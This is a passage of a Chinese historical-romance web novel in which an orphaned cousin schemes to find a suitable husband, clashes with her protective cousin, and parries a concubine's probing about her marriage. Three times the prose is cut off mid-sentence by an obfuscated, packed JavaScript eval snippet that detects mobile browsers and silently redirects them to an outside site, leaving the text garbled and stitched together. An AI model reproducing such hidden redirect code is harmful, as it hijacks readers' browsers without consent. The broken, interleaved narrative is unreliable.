然而没过多久,饭桌上却又响起方鹭笙的声音:“哦,对了。” 人群目光重新汇聚,只见方鹭笙弯眸笑道:“说起亲事,骅涧的或许还要再等两年,但当下还有另一个孩子正需要商量商量呢。” * 日落黄昏。 含着一汪清澈湖泊的花园内,假山林立,嶙峋的太湖石依偎着青瓦白墙,婆娑树影在地面微微摇曳,倏尔又被一道清隽瘦高的身形盖住舞姿。 “唉——” 席霖之站在湖畔,长长地叹出一口气,京绿色外衫几欲与身周青翠的草地乔木交融于一处。 他还没玩够。 不想科考。 席霖之心中酸楚万千。 犹记当初在南华书院读书,他跟谢骅涧还有裴澈几个狐朋狗友玩得好好的,没一个有学习的样子。结果后来,谢骅涧他娘亲死了,他开始奋发向上。说好陪他一起浪的裴澈也照常参加了科考,中了探花,一举当上朝议郎。 只有他,是真的在玩。 走狗斗鸡,四处游历,不亦乐乎。 直到在扬州喝酒时收到自家大哥寄来的家书,他才知道京城内已经变了个样。 归家后,这登科升迁的宴席他是去了一场又一场,参宴前后的骂也是挨了一顿又一顿。 今日来庆贺老友升官发财,还得看着自己父亲给人家父亲敬酒。 他实在面上无光。 可看着裴澈每日坐在案牍后奋笔疾书生不如死,谢骅涧忙得彻夜不眠疲惫不堪,他又着实觉得,上朝班好累。 人生怎会如此艰难。 他正默默伤怀,耳朵却是一动,忽然听到一阵脚步踩在草地上的沙沙声。 席霖之立刻转身道:“谁?” 视野里闪过一抹鹅黄倩影。那纤瘦的身影躲在枝叶茂盛的灌木后,似是被他惊到,顿了顿,嗓音细弱地回应:“抱歉,我不知道这里有人,打扰席公子了……” 席霖之拧眉:“你认得我?” 他在这里熟悉的年轻女眷不多,貌似没有哪个是这般音色。 隔着一小段距离,那声音略有些模糊:“是……阿兄的故交,开宴前,他教我认过人。” “阿兄?”席霖之笑了开来,“你阿兄是哪位?说来我听听。” “……他姓谢,名唤骅涧。” 席霖之一愣:“谁?” “谢骅涧。” 掷地有声。 “……” 不会是他想的那个谢那个骅那个涧吧? 他妹子不是才两岁? 席霖之默了几秒,怀疑道:“你是他哪个妹妹?我怎么没听说他有你这么大小的妹子?” 这厮方才在席上怕是光顾着发愁,根本没注意她。 乔絮晚暗自翻了个白眼,慢吞吞道:“我……是阿兄的表妹,寄住在这里的,以前没怎么出过门,公子可能不识得我。” 闻言,席霖之展开深锁的眉头。 既然是表妹,那就没什么可猜测的了。 他们这样的大家族,家中姨娘孩子一大堆,叔伯姑婶兄弟姐妹数都数不过来,走在外面扔块石头都能砸中一个沾亲带故的,表亲这种自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他从未见过这样美的女子。 席霖之一时看得呆住,连握在她肩头的手都忘了放下来。 沉默良久,乔絮晚率先移开眼。 究竟是刚及笄的姑娘家,纵然有意用外相引诱,也经受不住被男子这么盯着。 脸颊泛起薄粉,乔絮晚稍稍退开半步,小声道:“原来只是影子……是我弄错了,惊吓了席公子,实在抱歉。” “啊?……哦,不碍事,我没被吓到。”席霖之愣愣地回应一句,随后醒过神来,连忙收回手,尴尬无措道:“该、该道歉的是我才对,唐突姑娘了,对不住。” 乔絮晚摇摇头,唇畔带着一丝浅笑,抬眸瞧他。 这模样将少女的娇俏与羞涩演绎得淋漓尽致,眸中流转的光华几能夺魂。 席霖之见了,又是一阵心跳慌乱。 不过他也没完全失智,意识到此地只有他们二人,孤男寡女,委实不妥,于对方一个姑娘更为不妙,于是迅速敛了心思,躬身抱拳道:“既然只是乌龙一场,那席某就先行告辞了。” 乔絮晚微微颔首:“席公子慢走。” 然而席霖之没走几步,又返回来,红着一张白皙的俊脸,支支吾吾道:“那……那个,恕席某冒昧,请问表小姐……可以告知席某闺名吗?” “?” 乔絮晚没想到他会如此直白地问自己姓名。 闺阁小姐不好随便将名字告诉外男,这点席霖之自当清楚才对。 发现她在迟疑,席霖之急忙道:“我没有别的意思!我只是想、想拟一份请帖,邀请表小姐参加五天后的游湖,并无其他想法!” “游湖?”乔絮晚来了些兴趣。 席霖之立马道:“是啊,届时许多官家女眷也会去,想必其中定有小姐熟识之人。表小姐若是还不放心,我便邀请谢兄也一同前往,只是谢兄公务繁忙,我不确定他能否答应。” 那不重要。 乔絮晚当即在心里下了决断,对他笑道:“我姓乔,名絮晚,‘肃肃花絮晚,菲菲红素轻’的絮晚。游湖的请帖,就麻烦席公子了。” 这笑颜过分明媚,显见是极开心的。是以席霖之亦是扬起嘴角,回道:“不麻烦,能邀请到表小姐,才是席某的荣幸。” 又愉悦地攀谈一阵,席霖之依依不舍地告别走了,乔絮晚在湖边踱着步子,心中不断整理思绪。 ——宴席结束后,跟谢骅涧再打听打听席家背景好了。 就目前来看,这席霖之大抵可以当个预备人选。 她这般想着,不经意一抬头,却见湖泊对面的红角四方亭子里,谢骅涧正坐在那,看着她。 8. 争执 “……” 有点尴尬。 亲手主导了一场对兄长好友投怀送抱的大戏,还被兄长看了个正着,要说没点心虚那是不可能的。 对面望过来的视线不偏不倚,分明能感受到其中看穿一切的意味,愣是瞧得乔絮晚面上臊红。 但害臊归害臊,不过去说明白的话,以后怕是免不了要被谢骅涧拿这事取笑。于是她整理了下表情,大大方方地朝四方亭走去。 坐在亭子里的谢骅涧就这般静静地看着她过来,顺便给自己倒了杯酒。 “好巧,阿兄你也在啊。” 乔絮晚熟稔地在他身旁坐下,亲切问候。 谢骅涧低笑一声,安然道:“不巧,是看到我的‘故交’和妹妹突然走到一处了,为兄实在好奇,便过来看看怎么回事。” “故交”二字特意加重了语气。 “……”他倒是听得挺清楚。 乔絮晚暗自咬了咬牙。 沉寂片刻,她试图挣扎:“我只是意外——” “怎么找上席霖之了?” 刚开口,便被谢骅涧打断。 乔絮晚一顿,扭头看他。 却见谢骅涧目光凝聚在她不久前靠着的苍老乔木上,乔木探出的低矮枝桠还挂着她让拂月偷偷丢上去的细长藤条,随风一晃一晃。 像极了蛇影。 她默默收回辩解。 皇城司指挥使的眼睛确实够利。 不像席霖之那家伙,也不想想这么粗的一棵树上哪来的单独一条藤蔓,还连片叶子都没有。 不骗他骗谁? 乔絮晚左右环顾一圈,见四下清寂无人,便坦然道:“只是想与席二公子结识一下而已,能多认识些人总是好的,不然独我一个闷在宅子里,未免无趣。” 谢骅涧道:“认识人也不需要费心思投怀送抱,你这是想跟他结识还是结亲?” 他斜睨过来一眼,似审视,又似玩味,甚至还隐约夹着丝缕怒意。 乔絮晚略不自在地绞了绞手帕,不与他对视,只看着眼前澄澈透底的湖水,道: “席二公子温和有礼,相处起来很轻松,而且他马上要参加科考,又即将及冠,若能一举考中,席公少不得要为他办场宴席。届时在宴上要相谈的一是仕途二是亲事,如果我能……他能对我有些许心意,谈起来也会容易不少。” 再则她听闻席霖之前几年经常四处游历,想必性情旷达又见识广博,不至于待她太严苛。 且席家虽亦是钟鸣鼎食知书达理之家,但也没到京城五世家那般繁盛的程度,她嫁给次子,即便为妾,只要行事稳重举止妥帖,大抵也不会被轻慢过头,多少能稍微好过些。 ——当然,这都是她暂时的想法。 距离科考还有一两个月的时间,她尚可以慢慢试探,若有比席霖之更好的人选,再换也不迟。 她本想说她能讨得席霖之欢心,但那样的话,谢骅涧听了大抵不会高兴,所以便换了个说辞,然而谢骅涧似乎依旧不悦。 他默了少顷,颇烦躁道:“席霖之是个没上进的,又贪清闲玩乐,你就算要嫁人,好歹也挑个像样的。一场宴席就让你看上一个,那再多出几趟门,是不是结亲对象要写满几个本子了?” “你这话什么意思?” 乔絮晚蓦然冷了脸,“我想与席公子相识是看在他是你密友的份上觉着人品不会差到哪去,加之家世年岁适当,这才有意接近。如今你说这种话,好似我是什么不知检点水性杨花的人!” 她深喘了口气,眼睫微湿:“是,我使计投怀送抱,手段下作入不得眼,可你怎不想想,以我的身份若是直截了当出现在他面前与他搭话,他会如何想我?左右不过把我当作没脸没皮欲攀高枝的下三滥罢了!” “他敢!!”谢骅涧怒不可遏,起身猛一甩手将酒杯挥进湖里,浓烈的酒香霎时洒了满袖,“你是我妹妹,犯得着攀谁的高枝?!席霖之敢把你当下三滥我就挖了他那摸瞎的眼珠子!” “……” 乔絮晚原是在气头上才说的这些,却不料谢骅涧竟反应这么大,不禁一时呆怔住,半晌没作声。 谢骅涧自来就是个混不吝的少爷脾性,她本以为在皇城司这几年将他打磨得圆滑宽容了些,没想到内里还是这般暴躁。 不过他发脾气,乔絮晚素来是不怕的。 远方残阳渐渐熄了光辉,细微闪烁的星子点上天际,她看着谢骅涧满面怒容地踱了几个来回,对她道:“你想认识席霖之,直接跟我说就是了,何必用这种方式?万一被人看见你俩单独在这,再对外传出什么瞎话怎么办?” “就是看这里没人才这样的嘛……”乔絮晚小声嘟囔。 谢骅涧指着湖边灌木道:“这么大个园子,指不定你前脚刚踏出一步后脚就从哪冒出对眼睛,还没人,我在这坐了多久,你愣是等席霖之走了才发现!我看你是今天饭吃多了撑坏了脑子!” 听他这样说,乔絮晚可不乐意了。她噌地站起来,愤懑道:“你爱在哪里坐就在哪里坐!别说是这亭子,你就是坐我眼皮子底下我都不一定发现得了!” 两人的喊声在湖面震出层层涟漪。 眼角余光依稀有人影闪过,谢骅涧忍了又忍,拉着乔絮晚的胳膊把她强行带离了亭子,边走边沉着脸道:“成天那么硬气还以为你多有胆量,结果他们一提亲事你立马开始搜寻人选,看不出你原来这么听话。” 乔絮晚不甘示弱:“谁听话?我只是想先给自己找个合适人家,免得到时候被随便塞一门亲事,连对方长什么样都不知道!” “知道长什么样你就安心嫁了?” “……” 走到僻静处,乔絮晚奋力甩开他的手,一脸不高兴道:“嫁人还不是迟早的事,就算现在不嫁,以后也得嫁,就算不在京城嫁,回了江陵也还是要嫁,这是我能选择的吗?” “如何就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561490|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能选了?”谢骅涧道,“你不想嫁人,那等我及冠之后分了家,带你从这里出去,你一辈子不嫁人我都不管你!” “够了!!” 乔絮晚再也听不下去! 谢骅涧盯着她,久未言语。 心跳快得几欲蹦出胸腔,乔絮晚深吸几口气,平复呼吸,竭力保持平静道:“阿兄,不要再说这种话了……与自欺欺人何异?” “……” “你要分家,总得先成亲,可你成亲之后再另起门户,难不成要我和你还有表嫂同居一个屋檐下吗?那表嫂会怎么想?”她抑制不住声线里的颤抖,“何况你把我从谢府带走,别人又会如何看待你我的关系?” 她说得恳切,谢骅涧神色却未有动摇,只淡淡道:“我可以不成亲。” “呵。”乔絮晚凉笑了一声,“不成亲就分家,你是想上公堂跟谢家断绝关系吗?你还要不要前途了?” 谢骅涧不耐烦道:“我又不是离了谢家就活不成了,你何必顾虑这——” “阿兄。” 乔絮晚忽然握住他的手。 话音顿住,谢骅涧没继续往下说。 乔絮晚静默一阵,眼眶逐渐蓄起泪,“我知道,你为我好,姨母走之前也嘱托你照顾我,可……可有些事情……就是没办法……” 炽热的泪滴落到手背,烫得谢骅涧眉心紧拧。 “阿兄,你做得够多了,我若寻个好夫家,你也能轻松点,不必顾着家里还有我这个累赘,要你牵挂忧心。” 乔絮晚吸吸鼻子,模样甚是可怜。 谢骅涧低低叹了口气。 随后掏出方帕替她擦干眼泪,嗓音轻柔了几个度:“哪里就累赘了?我又何曾在你面前说过累?你是我妹妹,就算母亲没嘱托过我,我也会好生照顾你。况且,我不是没考虑过你的亲事,但夫家再好,终究也要你守规矩,阿兄怕你受委屈啊。” 乔絮晚听了,泪水涌得更凶,仿佛断了线一样,将方帕浸了个透。 谢骅涧单手叠起方帕,让它更厚实些,接着抹泪,“这才说你几句就哭成这样,你要是在家里哭,阿兄还能替你做个主,你若是去了旁人家,阿兄怕是连进门给你擦个眼泪都不行。” 说罢,他再度忧愁地叹气,道:“这可如何是好?” 乔絮晚抓住他握着方帕的手,给自己擦起眼泪来,哑声道:“阿兄是指挥使,想进哪家门就进哪家门,没人拦得住。” “嗤。”谢骅涧被她逗得笑了出来,摸摸她柔滑的发,道:“说得也是,你夫家若对你不好,我就给他安个罪名,抄了他的家,然后把你接回来重新寻个丈夫。” 乔絮晚顿时破涕为笑,红红的杏眼向上望着他。 这小眼神几乎能将人心看化开,谢骅涧嘴角勾起,把她往怀里抱了一抱,轻声道:“好了,没事了,不就是门亲事,阿兄帮你找。” “嗯。” 乔絮晚点点头。 9. 盘问 前堂宴席渐歇,宾客告辞了大半,唯余些与谢家一贯交好的世家留在席间,聊着家长里短朝野政要。 “要我说,骅涧的婚事也该提前相看相看了。知道打拼是好事,可他今年才十八,急什么?还是早日成家更要紧些。” 戚鸣次子,乐善侯令徽对谢凌如是说。 旁侧裴冽松弛地靠着椅背,也道:“是啊,正巧咱们这各家都有适龄的女儿,像老令家的翩然,戚家的眠儿,还有付家两个闺女,哪个不是容貌出挑内外兼修?要不改日让这些小辈聚一聚,互相混个脸熟,指不定就能凑成几对小鸳鸯,也好给这开春添点喜庆颜色。” 谢凌灌了口闷酒,叹道:“话虽如此,可我看他根本没那方面的心思。不提正妻,就前年老太太往他屋里塞过两个通房丫头,要说皮相也看得过去,可他倒好,半点面子不给,直接将人撵了出来!还放话说要是再弄这些乱七八糟的,他干脆就宿在皇城司不回来了!你说可不可气!” 裴冽闻言,摸着下巴道:“看着血气方刚一大小伙子,没想到还挺洁身自好,又这么有出息,不错,要不是涟儿已跟三皇子定了婚约,我都想把她许给骅涧了。” “得得得!涟儿如若许给那混账,用不了几天就得寄信回娘家哭。” “哈哈,哪至于啊。” 这厢正聊着,乔絮晚走进了大堂。 堂内一霎沉寂。 一众视线瞬息间转了几个弯,碰撞几回,最终不约而同地落在那窈窕身形上。 乔絮晚目不斜视,径直走向自己那张已空寂无人的饭桌,坐回座位,拿起碗筷,安安静静地继续吃冷掉的饭菜。 ——不多时,不知是谁开的头,交谈声渐渐又起。 裴冽盯着对面那张靓丽精致的小脸,意味深长地笑道:“谢老兄,你们家骅涧不要通房不思亲事,也许不一定是因为专注政务啊。” 谢凌面上看不出表情,只垂眸饮了口酒。 令徽稍觑谢凌一眼,道:“这姑娘莫不是当初非要下嫁商贾的慕家庶女所生的女儿?在你这住了有十年了吧?” 谢凌不咸不淡道:“你记得倒清楚。” “翩然那丫头在府里常说呢,说好几次去都见骅涧跟你家这个表姑娘腻在一块玩,晾着她不管。” 令徽拿起酒壶,给自己重新满上,笑着转而又道:“我寻思她这话肯定是夹了气性在里头,毕竟我这小女儿貌似对骅涧有点心意,这姑娘相貌又比她好,所以难免有些偏见。欸,谢兄,你觉得你这小外甥女如何?” 谢凌没马上回答。 他夹了口菜,慢慢嚼着,直到咽下去了才说:“乔家这姑娘,还算老实。” 饭桌边几个同僚面面相觑。 谢凌仍是坦然自若:“她刚来那阵一直是芷兰照看着,勉强识了些礼数,但确实也不多。骅涧跟她呢,就是兄妹情谊,没别的,不过俩人自小玩在一处,感情多少是要比旁的深厚,这些我都看在眼里。” “……” 令徽拿不准他这话的意思,只默默喝着酒,侧目瞧他。 京城五大世家,谢、令、慕、裴、戚,百年联姻,关系千丝万缕,乔絮晚出身虽上不得台面,但终究涉及到了谢慕两家,她将来是高嫁还是下嫁,全看两家态度。 就凭以前几乎见不到她人影的境况来看,两家应当是都不喜她。 可谢凌如今端着长辈姿态说这番中规中矩的话,还暗示谢骅涧与之牵绊颇深,倒是得让人琢磨琢磨。 先开了这个口的裴冽看热闹不嫌事大,继续道:“谢老兄,慕家人见没见过这孩子啊?总归是母亲家,让人一个孤苦伶仃的小姑娘流落在外多不像话,再者说,小姑娘也到谈婚论嫁的年纪了吧?他们坐镇在这,难道要看外戚为孩子亲事发愁?那我可要在朝上好好参慕相和慕侍郎一本喽——” 他理理衣襟,端得严肃正经,然眼里的打趣与期待却是怎么都掩不住。 谢凌放声笑了起来,“你要拿这事来参慕老,那他估计真挑不出词儿来反驳!哈哈!” 因为女儿下嫁商贾便断绝关系不认人,可不是书香门第之家该做的事,尽管这确然有损颜面,但大家心里清楚和放到台面上说出来可不一样。 谢凌开怀笑着,半眯起的眼中暗蕴思索。 ——乔絮晚一面吃着饭,一面注意周遭动静。 谢凌那桌音量不大不小,她竖耳仔细听,也能零零散散地听到几句。 一声“慕家”入耳,她夹菜的手顿住,良久未动。 对于这个素未谋面的母家,她心里实则是有些畏惧的。 哪怕记忆中母亲从没跟她提过任何与慕家相关的事或人。 谢凌这是打算……把她送过去? 乔絮晚将菜放进嘴里,也不知是何滋味,只不安地咀嚼。 回过神后,她瞥一眼对面空了大半的男宾席位。 席霖之还没回来。 大抵还被谢骅涧拉着盘问呢。 方才谢骅涧本想陪她一道回前堂,可乔絮晚怕李音见了之后又想出什么法子为难她,抑或让别家夫人看见,认定他们之间有什么,于谢骅涧名声不利,就婉拒了。 谢骅涧倒也没坚持,只交代过几句后,说要去找席霖之问些事,便转身离去。 他这是在问什么呢…… 乔絮晚暗自思忖。 * 一排杨柳边,席霖之茫然又无措地看着堵在自己跟前,宛如黑脸阎罗般的谢骅涧。 那眼神活像要把他扒皮抽筋似的。 他咽了咽口水,干笑道:“谢兄,怎么这副表情啊?……哈哈,怪吓人的。” 谢骅涧半点不跟他客气,冷声道:“席二,你对我妹妹说什么了?” 席霖之腿抖了三抖。 亲娘诶…… 光是这个称呼,他就已有种下一秒便要人头落地的恐惧感。 “妹妹妹……妹妹?”他努力稳住底盘,理了理思绪,恍然大悟:“哦,你是说乔妹妹?” “不然呢?我还有别的妹妹?” “……” 你另一个亲妹不就在你姨娘怀里抱着呢吗? 但这话席霖之不敢说,免得触了这位爷的霉头。 想来是不久前他跟乔絮晚说话的场景被谢骅涧看到了,身为兄长有所顾虑,这才找上门来。于是他赔笑道:“我没跟乔妹 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相貌太平庸,配不上他花容月貌的妹妹;身量不够高大,一旦阿晚有个头疼脑热的不小心晕倒,可能他都抱不动;对上别人冷脸就巴巴赔笑,半分骨气没有,若是阿晚受了别人欺侮,他哪里能为她讨回公道? 席霖之正欲询问谢骅涧要不要也跟着一起来,就见他满脸的嫌弃与忧愁,甚至还有一丝丝鄙夷。 席霖之:“?” 不等他开口发问,谢骅涧道:“我妹妹答应你去游湖了?” “啊?哦哦,是啊,乔妹妹好像很高兴,我答应她明日会给她送去请帖了。” 谢骅涧半晌没言语。 阿晚也是想出去玩的。 也对,成天待在那个无趣的宅子里,有什么意思。不如多出去走动走动,认识些朋友,说不定还能趁此发现比席霖之更适合结亲的男子。 沉默良久,他问:“什么时候游湖?” 席霖之:“五天后。” “知道了,请帖也给我一份,到时我也去。”谢骅涧淡然地说。 席霖之一惊:“你也要去?真的假的??” 谢骅涧不耐烦道:“这么惊讶作甚?很稀奇吗?” “当然稀奇!自从你娘……你、你开始努力读书之后,都多久没跟我们一起厮混过了?进皇城司之后更是,整日忙得不见人影,这次居然会来游湖?” 席霖之诧异地上下打量着他。 谢骅涧只道:“我妹妹身体不好,平素又甚少出门,她一个人在那我不放心。” 席霖之眼睛瞪得更大:“看不出来啊谢兄,你居然还是个好哥哥。不过想想也是,若我妹妹长得那般国色天香,我也不能放心她单独出门。” 谢骅涧闻言,冷笑一声,道:“是啊,万一被某些心怀不轨的男人占了便宜可怎么办?这个抱一下那个扶肩膀,完事还一副风轻云淡好似什么都没发生的作态,当真令人不齿。” 席霖之点头道:“就是!这种人简直……嗯?” 不对。 为何感觉像在骂他? 他挠挠头,正想问,却见谢骅涧已悠悠地走远了。 10. 姨娘 翌日清晨,卯时。 乔絮晚正坐在妆奁台前,由着拂月给她梳发,却听外面叩叩敲门声—— “表姑娘,小娘请您去一趟,说是有些话要同您讲。” 嗓音颇为沉稳持重。 是方鹭笙身边常跟着的赵嬷嬷。 乔絮晚与拂月对望一眼,心知这差不离是要找她谈论亲事。 昨日烧尾宴上大半个京城的名门望族王公贵戚都到了场,不知方鹭笙是不是和哪家攀上了干系。 但身为姨娘,毕竟做主不了她的亲事,这一趟过去大抵是要跟她传达谢凌和李音的意思,顺便再掺杂点自己的私货。 乔絮晚略略蹙眉,迟了少顷才答道:“知晓了,我马上来。” 赵嬷嬷便在门口候着。 “小姐觉得方小娘会说什么?”拂月一边快速为她盘缠发髻,一边不安地问。 乔絮晚低声说:“无非姻亲那点事罢了,昨日我听姨丈提到了慕家,看今日小娘态度如何,她若热情,那谢家怕是要借我这点力,重新跟慕家搭上关联,她若态度冷淡……” 她抿了抿唇。 那一切就难说了。 拂月跟随她多年,自然明晓其中利害,于是同样紧锁了眉头,问道:“小姐来京城这么多年,慕家从未有过表态,大抵是不想认小姐的意思。谢家想借您与他们修好,难道不怕适得其反吗?” 乔絮晚道:“事在人为。姨母是慕家最疼爱的嫡女,她生前对我极为照料,首先承着这份情,谢家就可与慕家说道说道。其次谢姑姑是令家长媳,听闻与令祖母关系极好,令祖母又是慕家祖母的亲姐妹,这一层层关系疏通过去,带我到慕府露个面不成问题。况且世家利益勾连,一荣俱荣一损俱损,不会彻底闹僵,一方肯低头服软,另一方自然也会领情。” 拂月听得一愣一愣的。 “再者,慕家不可能没有政敌,我要说亲的消息已被谢家借着烧尾宴放了出去,他们不管我的婚事,那是家风不正,会被参本的,尽管对他们来说问题不大,但世家最注重脸面,哪怕看在名德作风的份上慕家也会与我接触。” “两家恢复联系就已是和好的征兆,至于我本人能不能讨得慕家欢心,未来在慕家过的日子如何,都不重要。” 拂月似懂非懂地点头,又问:“可慕家如果不喜欢小姐,随便给小姐指一门亲事,谢家想用您为大公子借东风的盘算不就白费了?” “谢慕两家合好,阿兄只会比我先一步被慕家接纳。” “说白了,他们想让慕家认我,一是想将我送出去,二是想跟慕家和好,三是为阿兄的仕途。” “我现在作为谢府的表小姐,能嫁给什么人家,做偏房还是正妻尚且未知,可若是慕家愿意让我进门,让我以慕家外孙女的身份议亲,那我能相到的夫家会更好,也更有可能坐上正妻之位,为阿兄提供的助力也更多。” 绾发完毕,乔絮晚看着铜镜中的素雅面容,稍稍思索,对拂月道:“阿兄前几日送我的首饰盒,你替我拿来。” 拂月愣了愣,立刻转身从博古架下的抽屉里掏出一个檀木盒。 “小姐这是……?” 她疑惑地看着乔絮晚打开盖子,在里头翻了翻,拿出一支银点翠珊瑚腊梅簪,递给她道:“帮我把这个戴上。” 犹如覆雪的梅枝极为纤细优美,花苞皆由小小的红宝石点成,做工绮丽清雅,却又不会太过瞩目。 拂月依言照做,不解道:“您往日从不戴这些,说是容易被挑刺指摘,为何今日见小娘要戴这个?” 乔絮晚道:“方小娘虽倚仗谢家,然一颗心并不完全记挂在谢家上。方家门第不足,她终是无法坐上正妻位置的妾,朝不保夕。她此番找我,或许不止是代老太太和姨丈表态,而是也想从我的姻亲里图谋点什么。” “我平日装扮从来简朴,这个时候若是再做小伏低只会被她随意拿捏。现今我唯一能借的势只有阿兄,这些首饰珍贵非常,若我戴上,她肯定能猜到是阿兄私下送我的,她忌讳阿兄,也顾忌他对我的情谊,即便有何盘算也能收敛些。” 拂月心下了然,仔细替她簪好发簪,“小姐,就戴这一个会不会不够?要不要再添点手镯耳珰?这簪子虽精致,但看起来总有些简单,不够华贵。” 乔絮晚摇头道:“不必,仅稍作暗示即可,太过则引人注目。小娘能认得这簪子的价值,下人不一定,要是装点太多,被多嘴的仆役看到后传出什么风言风语就不妙了。” 拂月顿时醒悟:“原来如此。” 尽管不是第一次知道自家小姐心思细腻,她仍是忍不住感慨万千: 她家小姐身在深宅后院,就算无人教导也并不愚昧无知,反倒事事都思虑得周全缜密,又貌美坚毅,如果是生在豪门大户,真不知该是何等的风光…… 整理差不多后,乔絮晚对着镜子左右看了看,朝门口走去。 “赵妈妈久等了。”她笑着对赵嬷嬷道。 赵嬷嬷正想回应,却眼尖地瞧见她头上艳丽绯红的簪子。 眸中划过一丝精光,她顿了顿,状若未察,点头和蔼地笑道:“表姑娘客气,这边请。” 她转身在前方带路。 乔絮晚嘴角微敛,跟上她脚步。 * 观鹤居。 “小娘,表姑娘到了。” 赵嬷嬷一面跨过门槛,一面扬声道。 乔絮晚同她进去,只见左手侧圆口的月洞门后,横摆一张山水花鸟四折围屏,围屏前放有铺垫青缎坐褥的黄花梨罗汉榻。 长榻一侧,正坐着一个身穿桃红襦裙的美艳妇人,手摇海棠团扇,妖娆身段歪靠着小矮几,闭着双眼,姿态慵懒闲适。 正是谢凌的妾室,方鹭笙。 乔絮晚收回眼神,停在榻前,福身轻道:“小娘日安。” “……” 隔了几息,方鹭笙慢悠悠睁开眼,用团扇虚扶在她腕下,柔柔笑道:“表姑娘不必多礼,来,坐吧。” 乔絮晚顺从地坐在她对侧。 视野中闪过星点红光,方鹭笙默不作声地瞥了她头顶一眼,垂首呷了口茶。 而后关怀备至地问:“昨日在宴上,应当认识了不少别家姑娘吧?有没有多交些朋友?” 乔絮晚温吞地说:“昨日坐得偏,没能和太多人说上话,我性子又闷,不敢到处走动,所以……” 方鹭笙摇扇子的手微微一滞,旋即蹙起眉,故作懊恼状:“唉,此方是我疏忽了,以前你未及笄,不能随意抛头露面,我也就没考虑过你的座位,如今突然来这么大一场宴席,我手忙脚乱的,只得临时给你安排了个位置,还望表姑娘莫要责怪。” 她虚情假意地笑,歉疚仅如浮萍般在表面打旋。 乔絮晚也弯起唇:“前几日阖府上下都在为烧尾宴忙碌,小娘更是日夜操劳不停,我本没出什么力,又有何脸面来责怪小娘?再则我也不善交际,话说多了还怕得罪人家而不自知,能落个清净位置,我高兴还来不及呢。” 两厢带着假面客套,竟仿佛相谈甚欢。 乔絮晚自认与这位方姨娘交集不多。 只有她姨母去世前后那段时间,方鹭笙总是在各种地方挑她错处,有意让人排挤冷落,让谢凌李音看不惯她。但谢凌对她本就无甚感情可言,李音更是排斥万分,乔絮晚又懂得察言观色,很懂事地不作争辩,时日久了,方鹭笙便也懒得再搭理。 如此,寻常日子井水不犯河水,倒还算两厢安好。 说了会闲话,方鹭笙开始逐步试探:“这烧尾宴好不容易忙完,我本以为能得两三天清闲日子,不料昨晚婆婆竟把我叫了去,说宴席上看不少世家公子都像是对你有意,恰好你年岁也到了,就想着……要不要为你筹谋筹谋,让这府里喜上加囍。表姑娘觉得呢?” 乔絮晚闻言,羞涩一笑,却似有些迟疑:“我的亲事自然是该由长辈们决定的,只是我幼时已在江陵与柏家二公子定了亲,二公子还差两年就要及冠,我父亲又不在身侧,若是自作主张提出退亲,恐怕柏知府那边……” 她面色为难。 方鹭笙安抚性地拍拍她的手,道:“江陵那边不必担心,婆婆也与我说过这事,她说若你在这成亲,那左右也是谢家替你开的这个口,到时要是柏家来理论,一切也由谢家给你担着,不必担心。” 她语气甚是轻松。 也怨不得他们不将这码事放在心上,以乔絮晚如今的处境,柏家能否认下这门亲还两说,就算柏家认了,要上门纠缠,也决计不敢在谢府跟前造次。 所以压根没什么可忧虑的。 方鹭笙继续添柴加火:“更何况,你阿兄刚刚升迁,正是需要站稳脚跟的时候,他平日最疼你,你若能嫁个好婆家,为他的仕途加把力,那你阿兄指不定有多开心!” 谢骅涧会有多开心乔絮晚不知道,但她先是开怀地笑了笑。 旋即迅速整顿好表情,犹豫道:“能帮上阿兄的忙自是好事,可阿晚六岁来这里借住,已给诸位添了不少麻烦。而今再论亲事,不提三书六礼几多繁琐,单嫁妆一项,我也不好麻烦姨丈祖母他们为我准备。再者说,京城世家,书香门第,又有谁会愿意娶我这种连父母都不在,只能由亲戚家安排婚事的孤女呢?” 她假惺惺地啜泣两声,拿手帕抹了抹泪。 这算是给方姨娘一个搬出慕家的台阶了。 全看她下不下,怎么下。 只见方鹭笙轻摇两下扇子,侧眸看着她,目光意味不明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561492|142727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大娘子这个江陵来的外甥女打小就有几分聪明,刚来时的骄纵现在也消磨得几乎见不到,但内里绝对还有些许心气,是个不好摆弄的。 并且就她来看,谢家人目前对这表姑娘的态度也各不相同。 主君因大娘子的死被慕老敌视多年,他显然是想修复关系,而这小外甥女就是很好的突破口,哪怕最后没能让两家重归于好,多少也能缓和一点,所以他对乔絮晚于外的评价较为中立,只做出长辈姿态,不多言其他。 可婆母李音的态度就让她有些想不通了…… 她莫名很厌嫌这表姑娘。 照理说,婆母作为前朝长公主,历经两朝风云变幻,自当是最沉稳无波,即便看不上乔絮晚出身,心中轻蔑,也不该在面上表现得如此嫌恶。 她为此还差人反复调查过乔絮晚身世,只查出父亲乔知蕴是江南一个白身富商,家中父母双亡,仅一亲弟弟乔知蘅在北疆行商,无甚值得关注的。 